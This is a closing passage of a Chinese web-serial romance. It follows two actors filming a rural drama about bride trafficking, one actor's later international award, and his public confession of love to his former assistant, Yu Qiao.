一来不太符合国民的观剧习惯,二来这种丛书式的系列剧,每一集的题材都很敏感,剧审制度的差异,就很容易下无用功。 再者,这种不成套的小短剧,总给人一种小品似的感觉。 说难听些,就不像正经演员玩的东西。 俞悄想了半天,又问叶幸司:你要让万洋去演哪一集? 俞悄:还是主演固定班底,每一集的角色再具体调配? 叶幸司:固定。 叶幸司:我带着万洋,再签几个合适的演员,换角不换人。 俞悄:题材都很不好拍。 叶幸司:这就看编剧和导演的功底了。 俞悄:为什么想拍这种? 这一句叶幸司过了好一会儿才回:好玩。 从正经演员口中说出“好玩”这个理由,怎么看都有点儿轻浮。 但俞悄却隐隐觉察到,叶幸司的理念似乎又……蜕变了。 他像是在经历了无戏可拍的落魄期、乍然红火的疯狂期、大量接戏的疯狂期、演技反噬的迷茫期与低谷期之后,真正进入了对于“表演”这个行业,发自内心的享受期。 不在乎故事的长短,不在乎这种剧作入不入流,也不在乎导演是不是名导,市场会不会接纳,利不利于炒作变现,现在的叶幸司,纯粹想要以一个个短小却精致的故事,来体验各种不同的角色,真正去享受拍戏。 这个疯子。 俞悄估算一下做出这部剧的成本投入,立马提出下一个,也是最要紧的问题:给万洋多少钱? 叶幸司给出一个还算可观的数目,俞悄正要讨价还价,他又发来一条消息。 叶幸司:你跟组的话加一倍。 俞悄:? 俞悄:什么意思,这么缺演员? 叶幸司又不知道忙什么去了,十分钟都没回复。 俞悄又捋了会儿合同,给自己点了份外卖,又去问了问纪繁西的意见。 纪繁西没有意见,或者说,现在的她完全没心思、把关注重心放在万洋这种层级的艺人身上。 “你看着签,合同不出岔子就行。”纪繁西一句话就把俞悄给打发了。 她正忙着在公司签约的当红艺人中,还有那些雨后春笋般一茬茬崛起的优质博主里,挖掘下一个可以培养的“叶幸司”。 俞悄又跟她汇报了点别的,点的餐都要到了,叶幸司的消息才从屏幕上弹出来。 不是文字,是一条语音。 叶幸司:“因为我想随时看见你。” 第106章 “三十六场第七景第二次!” 工作人员在镜头前“咔”一声切下场记板,整个拍摄场地安静无声,只剩下设备沉闷的运转。 这是一栋老旧的乡村宅院,一对老夫妇坐在院门前昏黄的灯泡下,已经捧着碗筷酝酿好入戏情绪,“稀里哗啦”地往嘴里扒拉红薯稀饭。 院外的土路上两声狗叫,一个套着老旧夹克,顶着一脑袋半长头发的青年人,胳膊杵在袖筒里,蹋拉着拖鞋,溜溜达达地晃进院子里。 “二叔!” 他扬声朝喝粥的老头儿打招呼,从院檐下的阴影里走进悬吊镜头。 青年人的胡须和头发一样半长不短,额头的油光与打绺的头发简直交相辉映,声音粗嘎顽劣,十足一副村镇里不务正业的二流子模样。 一只苍蝇恰好从他头顶“嗡嗡”过去,他抬手挥了挥,同时拖着嗓子长长地咳了一口痰,歪头“噗”一声吐在泥地上。 喝粥的老头儿掀掀眼皮,冷漠地扫他一眼,刚扒进嘴里的粥停了两秒,才动动喉结咽下去。 青年人咧嘴一笑,不紧不慢地继续溜达到老头儿跟前,又冲始终没有正眼瞧他的老妇人咕哝一句“二婶”,拎拎裤子,在充当餐桌的矮木方桌前蹲下。 他的拖鞋像是北方大澡堂里那种公共的塑料拖鞋,一只还剪了角,露出来的脚趾头也灰扑扑的,脚趾甲里埋着泥,随着蹲下的动作,大拇指从鞋头挤出来。 B机沿着轨道滑停在老头儿身后,顺着青年人的鞋往上拍,灰裤子,老旧开线的毛衣,领口掉漆的劣质夹克,最后停在他脸上。 这妆造。 俞悄坐在导演旁边的小凳上,望着镜头里变了个人似的叶幸司,一边震惊,一边忍不住想笑,忙埋头把表情往下压。 “二叔,帮咱强子问明白了。” 叶幸司从桌上捏了一截切成段的黄瓜,很粗鲁地往酱碗里抹了一大坨,“咔嚓咔嚓”地大嚼。 “这个数。”他朝老头儿用手指比了个“八”,目光里透出歹毒的精明,“不能再少了,这人家已经是看咱乡里乡亲的份儿上嘛。” 老妇人猛地停下吃饭的碗筷,看看叶幸司比出的数字,忙又看向仍不出声的老头儿。 老头儿摆足了架子,不紧不慢地吃完手里的稀粥,看似十分稳重,随后才跟着望向叶幸司,动动嘴角,“哦”一声:“之前说多少?” “十二万八嘛!” 叶幸司秃露出一段拗口的方言,侧身拍拍自己的膝盖。 “腿都狗日的跑断了,笑脸赔得牙酸,人家也没看我面子,还是看您在咱村德高望重,以后有点啥事还得靠您照应……” 老头儿又揪了口馒头,细嚼慢咽地吃下去,含混地“嗯嗯”两声,突然朝他老伴横一眼:“看不见大侄儿来了,去给倒茶端饭。” “哎,自家人我这不吃着呢,不麻烦我婶儿。”叶幸司笑嘻嘻地比比手里的黄瓜段儿,“吃着呢!” 老头儿没接叶幸司的话,又命令老伴:“去喊强子回来,他哥给他送媳妇儿来了。” 老妇忙放下碗筷离开院子,叶幸司畅快地“哎——”一声,开始跟老头儿压着嗓子咬耳朵。 “二叔这话说得对,咱都自家人,我坑谁也不能坑咱强子嘛……八万人家也不挣钱,你现在城里娶个媳妇儿,八万够顶个啥……还是个女大学生,白净……” 老头儿清清嗓子,也压着声音问:“干净的?” “干净不干净,进了咱家门就是咱家人,能给强子生孩子还有啥说的。”叶幸司着重强调,“便宜几万块呢老叔。” 老头不接话了,脸色又沉了下去。 叶幸司不管,在人院里大吃大嚼,还自己去盛了碗粥,碗里堆满红薯块,继续给老头儿洗脑“这钱花得值”。 又是两声狗叫,老妇人领着个一瘸一簸的瘦弱男孩儿回到院里。 男孩手上拎着根光滑的破木棍,一蓬野草一样的头发,脏兮兮的外套拉到脖子根,拉锁的下半截却坏掉敞着嘴,露出里面盖不住肚脐的t恤,下身是当成外裤穿的秋裤,紧绷绷的裤脚绷在小腿肚上,漏出脏兮兮的脚脖。 分明是个傻子的形象。 而这傻子正是万洋。 叶幸司正端着粥碗要往矮凳上坐,那男孩“啊!”一声吼,一脚踹向跟进来的狗,踹了个空气,自己一个横叉劈下去了。 叶幸司被吓了个激灵,一个屁股蹲坐地上,咬牙切齿地回头瞪男孩:“虎得没边!” 老婆子骂骂咧俩地去拎儿子,老头儿绷着脸去搀叶幸司。 “哎哟我的妈……”导演笑着举起小喇叭,“好!卡!” 整个剧组一瞬间松弛下来,全都在笑,各部门调机位的调机位,补妆的补妆,准备下一场戏需要的场景。 俞悄从刚才万洋那中气十足的一声吼,就猛地把脸埋进膝盖,抖着肩膀半天没再抬起来。 万洋拎着木棍挤到他身边,蹲在俞悄跟前,戳他的鞋。 “咋样啊小悄哥,”他认真问俞悄,“你看我像傻子不?” 俞悄本来都快好了,透过膝盖看见万洋在那戳鞋,又笑得痛不欲生。 他抬头呼了半天气,才逼着自己平静下来,揉掉笑出来的眼泪花:“太像了,傻子王。” “什么东西……”万洋有点不好意思,低头看看自己的秋裤,受不了地也埋头笑起来。 这是叶幸司签下的那部剧里,第四个小故事。 剧名敲定得非常随意,报备上去的名字就叫《五个故事》,这一集的名字则很讽刺的命名为《好人》。 虽然叶幸司明目张胆的用戏筹来诱惑俞悄,但《五个故事》的筹拍太讲究了,每一集都真实取景,一群人天南地北到处跑,还净是些深山老林村庄破院。 俞悄没功夫全程跟组,这几天闲下来,才过来探班,一来就看见叶幸司和万洋这颠覆形象的妆造。 笑得气管都发胀,他才终于缓过劲儿,又打量着万洋问:“踢狗是你自己琢磨的?” 俞悄刚才翻了剧本,根本没有踢狗的细节。 “叶哥跟我商量的。”万洋诚实地说,“他说如果只是做出个傻子的造型不够生动,傻子嘛,就得傻得出其不意。” “我受不了了。”俞悄的笑点放出去就扯不回来,“有毛病,还‘傻得出其不意’。” “啊。”万洋也乐,“本来是让我进了院门就吼一嗓子,正好这狗跟进来了,我就灵机一动……” 他正跟俞悄分享自己的小巧思,身后一道阴影蒙下来,叶幸司抄着裤兜来到他身后,一垂手,拎着万洋的后脖颈,让他“一边去”。 叶幸司维持着剧中吊儿郎当的人设,斜支着一条腿,从上往下垂着眼皮打量俞悄,挂在脸上的笑是轻浮的,眼神里却是真实的。 “谁大驾光临了。”他故意问。 俞悄起身上下打量了叶幸司近半分钟,由衷道:“像那回事儿。” 叶幸司歪歪脖子,跟俞悄对视,然后抬手赶走他脑袋上的蚊子。 “吃饭了吗。”他心情很好的问,“过来怎么不说一声。” “吃了。”俞悄看了一圈院子,没回答叶幸司后面的问题,反问他,“这一集都在这村里拍?” “嗯。”叶幸司攥上他的手脖,把人带到后院里自己的休息间,“累的话先在这休息。” 这是一处真正落后的村落,偏僻老旧,俞悄根据万洋发来的地址赶过来,一路上光交通工具就换了四轮。 最后在镇上和生活导演碰头,也是享受了一把真实的驴车,才晃晃悠悠进到村里。 连眼下这间算是收拾得最整洁的休息室,也是凌乱不堪,真正土砖砌成的墙面,房顶是实在的木头横梁,墙角与房顶结着蜘蛛网,下方还堆着几个硕大的尿素袋子。 “都是村里现租来的院子,平时有人住。” 叶幸司解释着,从桌上翻出一盒驱蚊液,把俞悄当个陀螺,转着圈的喷一遍。 “晚上蚊虫多,喷喷。” 不知是乡村本身就拥有让一切返璞归真的力量,还是这驱蚊液快过期了,俞悄闻着空气中那股奇妙的陈旧味道,像农村烧柴的木料,也像老太太洗完澡身上的风油精。 配合着院外嘈杂的声响,以及糊着报纸的窗户外,那些扒着窗台嘻嘻笑的小孩,他突然产生出无比强烈的真实感。 仿佛自己真就是生活在这村里的人。 “拍爽了?”他问叶幸司。 “爽。”叶幸司牵起嘴角,明白俞悄在问什么。 俞悄点点头:“戏疯子。” 他说完这句话就准备出去,刚转身迈出一步,就被勒着腰拖了回去。 俞悄毫不犹豫,胳膊一撑就要往后肘击,却被连着胳膊一起圈住了。 “给我冲个电。” 叶幸司就这么拖着俞悄坐在椅子上,将脑门埋在他颈窝里。 俞悄挣扎的动作,在侧首闻到叶幸司的头油味儿时,戛然而止。 他动物一样在叶幸司头顶抽着鼻子闻了闻:“你这油头……不会真是没洗头捂出来的吧?” “啊。”叶幸司闷着嗓子笑了,“好闻吗?” “恶心死了!”俞悄直接被恶心笑了,都不敢再伸手去推叶幸司的脑袋,直往上挣腰,“撒手!” 正缠斗着,休息室的木门“嘎吱”一声响,万洋喊着“叶哥”迈进一条套着红秋裤的腿,一看见两人的姿势,从善如流地转身又迈了出去,“砰”一声扣紧门。 “松开!”俞悄耳朵根一烫,往叶幸司脚上踩。 “说了让你别乱动。”叶幸司的胳膊不松反紧,在俞悄颈窝里一转头,咬住了他的脖根。 俞悄分明地感受到,有什么东西,从后方抵住了自己。 第107章 俞悄和叶幸司前后脚从休息间出来,一个满脸正气,另一个垂手揉着后脑勺,侧脖颈上印着五指分明的大巴掌。 万洋没有走,像个真正的农村傻小子,蹲在门旁的小椅子上翻剧本,手里还捏着半块馒头。 听见开门声他就抬起头,斜抬着脑袋一脸玩味地打量他俩,眼珠滴溜溜乱转。 看见叶幸司脖颈上的巴掌印,他“嘿嘿”乐一声。 “傻笑什么呢?”俞悄瞪他。 “刚找我什么事?”叶幸司同时开口,摁着万洋的脑袋给他扒拉下去。 万洋是来找叶幸司给自己讲戏。 叶幸司接过他的剧本扫了两眼,便一改刚才没正形的模样,朝万洋勾勾手示意:“你背一遍我听听。” 这两人一进入对戏状态,二流子也像正经人了,傻子也不傻了。 俞悄自己绕着拍摄场地溜达一圈,回来后,发现导演和编剧也加入进讨论的阵容。 他没过去打扰,自己在角落里拽了张木敦子坐下,远远地望着叶幸司和万洋发怔。 人与人的交往,真的会在不知不觉中产生奇妙的互相影响。 万洋在最开始并不是个多么热爱拍戏的人——如果以叶幸司为“热爱”的衡量标准,至少在俞悄已经接触过的演员中,还没发现谁能超越他。 艾浩或许可以为了一个机会十年磨一剑,白桃可以为了上镜更好看更贴合角色,让自己瘦得脱相,但他们的目的都不是拍戏本身。 万洋就更不是了。 万洋是个功利心很淡的聪明少年,他不急于大火,也没有明确的发展方向。让他做直播他可以,让他参加综艺他像玩一样,让他去拍戏他也感兴趣。 这么一个看似随性的人,现在为了拍戏,颠覆形象跟着叶幸司上村下乡,也会拿着剧本在休息时间认真揣摩角色,还一副乐在其中的样子。 很难说没有受到叶幸司的影响。 至于叶幸司。 俞悄慨叹完万洋的变化,将目光移向认真看着万洋表演的男人,一股说不来的滋味萦绕上心头。 叶幸司现在很快乐。 这是俞悄最直观的感受。 不是流于情绪的快乐,是真正有条件和实力,去做自己想做的事,去拍自己想拍的戏,那种内心深处由内而外的、真正的轻松与愉快。 连说话做事都没有之前那么装、那么闷了。 或许多多少少,也有受到万洋心态的影响吧。 那我自己呢? 俞悄看着沉浸在排练中,充实又忙碌的二人;看着满院子进进出出,为一部好剧架桥铺路的工作人员们;甚至看着场地外探头探脑的围观的村民。 他心里突然冒出这个对自己的提问,整个人愣了一下。 如果以他的性格,现在的他已经能够熟练的处理工作,公司里被纪繁西照应着没什么压力、生活上平淡安稳、感情上没有纠缠与纷扰,与叶幸司也在不知不觉中打破了冰层,消除了说不得话碰不得面的僵局…… 没有什么让他劳心的事,没有让他伤神的人,不再轻易受任何人的影响。 这不就是你想要的生活吗,俞悄。 他的目光无意识地停留在叶幸司身上。 为什么会感觉有那么一点儿,说不清道不明的无趣与乏味呢? 深入灵魂的思考没有进行太久,女演员一就位,立马就紧锣密鼓地开始下一场戏。 今晚要拍女大学生与傻子“婚礼”的闹洞房,和后面的夜逃。 群众演员很多,主要角色光妆造就要改两三次,拍完室内的景还要去山里拍外景,大夜肯定是免不了。 俞悄没有在现场碍事,在导演组的监视器后找了个小角落,继续安静的看。 小院里喧闹拥挤的人堆,彻夜长明的打光,以及持续运作的器械,让整个小院烘热躁动,在这个夏末秋初的夜晚,招揽来半个村庄不要命的飞蛾和蚊虫。 俞悄第七次从身上排掉吸饱了血的蚊虫,实在受不了了。 他悄悄挤出人堆,去叶幸司的休息间翻驱蚊液,顺便给手机冲会儿电。 休息间里还有一张土炕,贴着墙搭建,炕尾堆满杂物,倒是临近插头那一块位置铺了干净的床单和软垫。 俞悄一开始坐在那充电,坐累了靠着,靠着靠着困劲儿上来,就脱了鞋盘腿上炕。 他把叶幸司一件外套拽过来叠吧叠吧,垫在炕头当作枕头,蜷着身子打算眯一小会儿。 院子里的嘈杂声是什么时候减弱消失的,自己又是什么时候睡熟的,俞悄一丁点记忆都没有。 他梦见自己回到了上中学的时候,课间十分钟睡得无比香甜,香到明明听见上课铃,老师都夹着课本进教室了,还眼皮死沉着醒不过来。 “俞悄——” 被老师点名的惊悚感将他拽出梦境,俞悄猛地睁开眼,休息间里一片黑暗,一个模糊的人影正关上房门朝炕沿走,又吓了他一机灵。 “谁。”他虎着嗓子问,立马抓着手机坐起来。 “我。”叶幸司的声音低沉,这一刻听起来让他无比安心。 “吓我一跳……”俞悄长长出了口气,昏头涨脑地咕哝,“怎么灯还不亮了。” “看你睡着了,刚摁灭。”叶幸司在黑暗里伸手,揉了揉俞悄的脑袋,“累坏了吧,我回来化妆,等会儿还有一场就结束,睡吧。” 俞悄闻到他身上泥土的味道,还有已经沁入肌肤,再脏再埋汰,也能捕捉到的淡淡香水味。 依然是熟悉的香水。 他在叶幸司的手掌下点点头,确实没力气也不想起来,很乖地“嗯”了一声。 叶幸司本来都要收走的手,在俞悄的脑袋顶上又停了两秒,然后又抓抓他的头顶。 “俞悄。” 他在黑暗中喊俞悄的名字,突然俯下身来,捏起俞悄的下巴,深深地吻下去。 “别打脸。”他很及时地摁住俞悄挥过来的胳膊,已经沙哑的嗓子慵懒暧昧,“等下要上镜。” 俞悄的眼睛已经适应屋里的黑暗了,能看出叶幸司的轮廓,和深井一样黑黝的瞳孔。 “你到底把我当什么呢。”他听见自己开口问,像假借着夜色飘出的梦呓。 叶幸司没回答,刮刮俞悄的脸,低头在他眼皮上亲了亲,又亲亲他微张的嘴巴。【你现在阅读的是魔蝎小说 moxiexs】 第108章 完结章 第108章 完结章 俞悄没有跟完《好人》的拍摄全程。 他在山沟里呆了两天,第三天下午,在纪繁西的电话轰炸下,他带着一身的蚊子包重新坐上驴车,嘎嘎悠悠地踏上回城的土路。 临出发前,万洋拎着一兜当地村民家自制的零嘴儿——一种撒着芝麻和椒盐的炸面片儿,用红色塑料袋装着,非让俞悄拿着在路上吃。 俞悄除了给叶幸司做助理的时候,手里总是大包小包;他自己出门从来都崇尚轻装简行,能用一个包坚决不拖箱子,要拖箱子就坚决不再多拎包。 看着万洋递来这个油汪汪的塑料袋,两人在驴车旁推搡了半天。 他一会儿说留给万洋在村里吃,一会儿说自己拿不下,死活不愿意要,给万洋都推急眼儿了。 “让你拿着!” 万洋直接把塑料袋搡到俞悄怀里,另一只手还很入戏的拖着他的木棍,显得更像傻子了。 “不是,”俞悄被他逗乐了,“我真不吃啊。” “你是不是嫌村里做的东西埋汰?”万洋绷着脸问。 “别犯病啊。”俞悄拒绝道德绑架,把塑料袋扔回给万洋,“说了我手上不想拿东西,别跟我整这一套。演个傻子真成傻子了……” 万洋撇撇嘴,用不舍的表情望着俞悄,拆开袋子自己捏了一片出来吃,还轻声咕哝:“真挺香的。” “我就是觉得你来探班两三天,我都没好好跟你说说话。舍不得你。” 他眼皮耷拉下来,继续道。 “受不了,我怎么有种我嫁到山沟沟里,你来探亲的感觉?” 俞悄当然明白万洋的意思,万洋这磨磨蹭蹭的舍不得,让他也对这次分别产生格外强烈的代入感。 “吃苦了吧?”他拍拍万洋的脑袋,小声问,“是不是后悔接这个戏,到处扮丑折腾了?” “那没有。”万洋立马摇头,“我觉得挺有意思的。比坐在直播间带货有意思。” 俞悄认真地看着万洋,看了好一会儿,朝他腰窝上轻轻捶一下。 “有意思就好,跟叶幸司好好学吧。” 说到叶幸司,万洋扭头朝院里张望:“叶老师干嘛呢?” “接电话去了。”俞悄又检查一下自己的旅行包,看眼时间,“再等两分钟不回来,我就走了。” 万洋嚼着他的零嘴儿盯着俞悄,又来神了。 “哎,小悄哥。”他杵杵俞悄的胳膊,“你俩现在到底是什么情况?” 什么情况呢。 俞悄从袋子里也捏一片炸得金黄的面片,思考者“咔嚓咔嚓”地嚼。 “嗯,是挺香。”他朝万洋点头。 “是吧!”万洋也点头,又杵他,“别转移话题。” 俞悄倒也不是在转移话题。 而是同样的问题,那天晚上叶幸司也没有给他答案。 “没什么关系。” 他拍拍手上的残渣,万洋又把塑料袋推过来,他坚定地保持拒绝。 “我走啦。” 正要往驴车上爬,万洋突然攥着他的胳膊肘把他拽下来,说:“叶老师回来了。” 万洋的目光所看的方向是俞悄身后,但他在俞悄将要回头时制止了他,小声说了句:“我来帮你一把吧。” “什么?”俞悄眉心一蹦,潜意识里觉得不会是什么好帮。 万洋没有给他过多反应的机会,猛地张开双臂,把俞悄抱了个死紧,然后撅起他吃零食吃到泛光的油嘴,“啵”的在俞悄脸上嘬了一口。 “你神经……”俞悄差点跳脚,又被万洋踩了一脚。 “嘘。”万洋在他耳边笑着说,“不用谢。” 做完以上行径,万洋拎着他的破木棍和大红塑料袋,滴溜溜的跑走了。 俞悄抬起手背擦脸,刚蹭一下,胳膊肘又被人拽了过去。 这次是叶幸司。 依然是那副二流子的扮相,他不顾俞悄的挣扎,将人直接拖到小院土墙旁的小路里。 “干什么你?”俞悄被扯得磕磕绊绊,瞪着叶幸司的后脑勺警告他,“我得走了,再晚赶不上车了!” 从村里到镇上是一段土路,从镇上到汽运中心还得转一次小巴,那车一天只开一趟,错过了又得等明天。 叶幸司根本不管这个。 一直被拖到院后那片没人的小竹林,俞悄脚还没站稳,就被推着肩膀,直接扣在了墙上。 迎面压下来的,是叶幸司粗鲁的吻。 俞悄这次没给叶幸司留脸,也没管他接下来还要上镜,抵着叶幸司的脑袋将人蹬开,扬手就是一拳头。 指骨与颧骨结结实实的碰撞,叶幸司偏了偏头,猛地转回来,攥着俞悄的头发迫使他抬头,不容拒绝地再次吻下来。 从古至今就没有二鼓作气的道理。 俞悄这次被摁住手腕,就没有再能抬起来。 直到快要窒息,叶幸司在俞悄嘴唇上咬了一口,压抑着深沉的呼吸,与他额头相抵。 “老实点。”他对俞悄说,“给我三年时间。” 俞悄用了十秒钟平复呼吸,嘴角被叶幸司咬破了,舌尖刮过去一股淡淡的铁锈味。 他用掌底抹过去,手腕一转,顺便用手背使劲擦了擦被万洋亲出的油印,提起膝盖对着叶幸司就是一脚。 “我给你个锤子,脑子有病。滚!” 俞悄忿忿地骂完,大步往外走。 快走到小路口能看见驴车了,他没忍住回头看了眼,叶幸司双手抄兜斜靠在土墙上,没挽留也没相送,只是一直望着他。 “好好拍你的戏吧!”俞悄带着火气朝他喊。 叶幸司的嘴角毫不遮掩,一点一点地翘了起来。 他扬扬下巴,朝俞悄喊回去:“到家给我发个消息。” 《五个故事》这剧如其名的五个故事,拍摄周期却长达七个半月。 整整七个半月的时间,万洋全程跟组,跟着叶幸司和那个默默无闻的新人导演,天南地北的游荡,等到杀青回来,整个人黑瘦了一大圈。 六个月后,《五个故事》在蜻蜓与一个半死不活的视频网站同时开播。 没有预热,没有宣传,没有营销与综艺的加成,在某个周四的下午,点播量最少的时间,悄然无声的播出了第一集。 俞悄那天没有赶上看首播,确切来说是把这个事儿忘得一干二净。 他是第二天早上,蹲着马桶刷抖音时,看到文娱话题榜上讨论度第一的#五个故事,才想起这部剧。 三天后,蜻蜓开始预热《五个故事》的第二集。 第二周,蜻蜓将《五个故事》的播放时间,调整到周五晚上的黄金档。 一路飙升,全民热议。 这是《五个故事》在播期间,俞悄唯一能够想到用来形容它的两句话。 第四周播放到《好人》时,从叶幸司与万洋颠覆形象的人设,到内容的敏感度,再到最后几经反转让所有人都意想不到的结局,《五个故事》正式突破近十年来短剧类首播完映量,被媒体冠上“现象级爆剧”的标签。 叶幸司的流量数据已经不能按照粉丝量计算了,但仅仅是万洋,一晚上全平台的粉丝数,怒涨了四百六十万。 “这小子……” 纪繁西守着数据检测台,环抱着手臂啃自己的指甲,沉默了近二十分钟,最后只叹气似的嗫嚅出这一句。 “到底是怎么做到的。” 俞悄静静地陪她站着,“嗯?”一声偏头望过去,问:“你指谁?” 纪繁西漫长地沉默,没有回答,只是苦笑着摇了摇头。 《五个故事》带起了一波单集系列剧的热潮,在当年横扫最佳编剧最佳导演最佳拍摄最佳男配等等十二项大奖。 可因为剧制的特殊性,以及种种难以言明的原因,叶幸司没有拿到视帝的金杯。 不过这丝毫没有影响他的名字血洗各大视频平台。 叶幸司携带《五个故事》荣耀归来,一扫蒋雨池爆料事件所带来的所有负面评价,巨幅照片重新挂上市心大厦那硕大的led屏。 俞悄在临时停车位坐了五分钟,什么都没想,只是盯着屏幕上叶幸司接受访谈的脸。 微信来电的音乐声突然响起,他心头一跳,朝中控屏看过去,蹦出来的是万洋的头像。 “哥!”万洋在视频里向俞悄展示他最佳男配的奖杯,“看见了吗?” “看见了。”俞悄笑着朝他比个大拇指,“牛。” “不枉我被叶老师骂了七个月。”万洋抹抹鼻子,“我想好我要往哪发展了,我要做正儿八经的演员,做个一流的演员。” “小悄哥,你可要帮我啊。” 一流的演员。 多年前,那个什么都不是的年轻人,也信誓旦旦地这么对俞悄说。 我是演员。 多年前的晚上,也是这个位置,他望着大厦上的广告牌对那个人说:叶幸司,给我火。 俞悄不知道叶幸司现在算不算成为了一流的演员,只知道他成了一线的明星。 真真正正,不会熄灭地火了起来。 望着视频里朝气蓬勃的万洋,这个初生牛犊不怕虎,即使前路渺茫,也敢大谈梦想的青年,俞悄莫名的红了眼眶。 他喜欢万洋的青涩与拼命,如同喜欢曾经的叶幸司为了一个角色不顾一切的态度,喜欢他们能坐在夜市街上吃烧烤,吃得满嘴流油,没有粉丝与狗仔来打扰。 时间好快啊。 那时候的叶幸司可能是二十八线的明星,却是一流的演员。 记忆交织重叠,混乱的掺杂在一起,俞悄在胡思乱想中结束了与万洋的通话。 正准备驱车离开,又一条微信消息蹦了进来。 俞悄随意地望过去,出现的却不是万洋的头像。 叶幸司:等着我。 到底要等什么。 俞悄在心里嘀咕着把车开出去,驶过两个路口,突然刹车拿起手机,给叶幸司打了一个字的回复。 俞悄:啊。 两个月后,叶幸司影视公司上市,发布《五个故事2》的定角公告。 他招募了一批被网络时代所淡忘的实力派老演员们,同时大胆启用怀揣表演梦想的年轻演员,他本人却没有参与拍摄。 第二年,蛰伏了十个月的叶幸司突然放出电影海报:《那一年》 ——他去拍了一部以九十年代下岗潮为背景,讲述一个家族在时代动荡下,种种机缘巧合中所发生的黑色故事。 叶幸司在《那一年》中所扮演的哑巴二哥,木讷漠然,因工伤失去了半条胳膊。 他在风雪中载着妻子去卖|淫赚取生活费,一路无话。在妻子跟着两个男人进入矮小的房门时,他张了张嘴,发出一道茫然的气声,下意识伸手去拉人。 原本该是手掌的位置,变成空荡荡的袖管,无力的擦着妻子的手肘滑下去,叶幸司怔怔掉下的那颗眼泪,被铺天盖地地剪辑。 《那一年》在网上引起巨大反响,却在上映三周后被全平台下架。 直到第三年九月,《那一年》杀破重围,突然出现在国际电影最高典礼的颁奖台。 俞悄是被小蜡紧急喊去看典礼直播的。 当时他正和纪繁西在酒桌上,在为万洋争取黄疯子新电影里的一个角色。 小蜡的电话打进来两个都被他直接摁掉。 直到小蜡发来一段录频,代表着荣耀与辉煌的光柱来回切换在五副巨大的电影海报上,右边倒数第二幅,赫然是叶幸司在《那一年》里的形象。 录屏里传来颁奖人顿挫有力的宣告:“The actor won the Best Actor award is——” 俞悄猛地站起身,椅子腿在大理石地板上拖拽出刺耳的声响。 “不好意思,”他五指在手机上紧攥到发白,冲众人歉意地微微鞠躬,“我去打个电话。” 他跑到走廊的尽头的窗台前,夏末的夜风温热地扑在脸上,被酒店里充足的冷气中和掉,明明是凉爽的,俞悄的手心却湿到险些将手机掉出去。 “——Xingsi Ye!” 点开直播的瞬间,光柱定格在《那一年》的海报上,颁奖人的高呼与磅礴的背景音乐同时充满俞悄的耳朵。 镜头切向观奖席,叶幸司在众人的掌声中微笑起身,优雅地致意。 叶幸司是如何走过金光闪闪的长廊,走上颁奖台,穿的什么衣服,与评委握手鞠躬时的表情是激动还是自然,接过左槊递来的金杯时有没有复杂的眼神,俞悄都没看清。 他深呼吸了两次,才将一浪浪溢出的眼泪和心跳勉强压下去。 叶幸司的英文颁奖词简短又得体,一听就是由团队写好背熟的。 但在英文的致谢后,他突然直视向转播的镜头,弯起眼睛。 “以上是助理帮我写好的颁奖词,我相信在坐的各位兜里都有一份。” 叶幸司从西装口袋里捏出一张小小的纸条,台下哄起友善又真实的笑声。 “但对我自己而言,我的颁奖词其实只有一句:谢谢,我应得的。” 掌声与口哨声险些掀翻屋顶,聚集在顶级殿堂的演员们都无比包容,且无比赞同叶幸司的心里话。 俞悄受不了地笑出一个鼻涕泡。 这个装货。 “不过促使我走上这个奖台的动力之一,是因为我有一件事,需要在这里,向一位重要的人表达。” 典礼现场安静下来,俞悄的呼吸也在他漫长的停顿中下意识掐紧。 “我曾经做错了一件事,辜负了对我而言最重要的人,对我的信任。” “我无法解释,无法挽救,无法证明。” “后来我想到了一个办法。” 叶幸司缓缓牵起嘴角,对着镜头外的俞悄,轻轻摇晃一下手里的金杯。 “我明白学习之路漫漫,永无止境,戏外有戏,人外有人。” “但今天拿到这座奖杯,对于当下的我而言,是幸运,是鼓励,应该也可以当作对我能力的一项认可。” “我的意思是,我的演技由它证明,我不再需要通过表演爱一个人,来证明自己。” “我的爱是真的。” 叶幸司娓娓道。 “所以,可以回到我身边了吗,俞悄?” 手机里的世界尖叫声冲天,如同俞悄此刻沸腾的心跳和模糊不堪的眼睛。 他握紧手机捧住自己的脸,微信上不断传来消息的震动声,俞悄已经可以想象,今晚各大平台的热搜将是什么盛况。 这个疯子。 前途还要不要了?回国后的发展还想不想和以前一样顺利了?还能不能过上不被打扰安静拍戏的生活了? “先生?”路过的服务员歪着脑袋打量俞悄,小心询问,“需要帮助吗?” “嗯?”俞悄抹掉满脸的水痕,使劲吸溜一下鼻子,冲人家笑着摆手,“不用,我很好。” 后面的直播俞悄没有再看,他去洗了把脸,对着镜子里的自己哭哭笑笑好几分钟,拿起一直震个没完的手机。 拉不到头的红点里,叶幸司的头像固定在第一位,只发了一条消息。 叶幸司:好不好啊。 俞悄的眼眶又烫了,可嘴角不受控制的上扬。 他点开聊天框回复,想了帮天,还是只能打出一个字。 俞悄:啊。 叶幸司的回复几乎是立刻发回来:我后天回国,谁想接机。 俞悄:那是另外的价钱。 叶幸司:加上约会呢? 俞悄:有什么菜。 叶幸司:番茄炒蛋。 俞悄:看我心情吧。 叶幸司:我爱你。 俞悄的拇指在手机边框上摩挲好几下,敲回去三个字:我知道。 这一句发过去,叶幸司隔了五分钟才回复。 叶幸司:谢谢你愿意等我。 俞悄闭上眼又一次平复呼吸,给他回复:不客气,你应得的。 原来是这种感觉。 俞悄在这个晚上,找到了这几年来内心深处那一小块空洞的缺口。 原来被他弄丢的、他以为自己已经不想要却一直无法释怀的,是爱。 铺天盖地的消息依然在往屏幕上弹,俞悄一个都没看——他不想管那么多了,也懒得看,这次的懒不是因为烦躁,而是充实与喜悦。 叶幸司已经帮他支付出莫大的勇气,至少在这一刻,所有未知的发展和阻碍,他都不在乎,不害怕。 ……除了这个阴魂不散的周行东。 俞悄将备注着“有趣”的陌生好友申请划掉,点开自己的微博。 他没看热搜榜,没看爆炸的消息栏,径直点进草稿箱。 叶幸司永远也不会知道,俞悄在他最如日中天的时候,曾不下一万次在心底纠缠着对他的诅咒和祝福。 那些话语说不出口,在某个空虚的深夜,被沁着眼泪全部编辑进草稿里—— 我比谁都渴望你成功,也比谁都渴望你一败涂地。 我想要你成为耀世者,也想要你深陷泥潭。 我想让你被万人敬仰,也想让你被万人唾骂。 我希望人们爱你,亦希望所有人都恨你。 我祝福你荣耀加身。 我想直到有一天你身败名裂,才会知道全世界无数的粉丝里,只有我最爱你。 End 2025/05/31 23:44 作者有话说: 叶幸司和俞悄的故事就到这里啦。 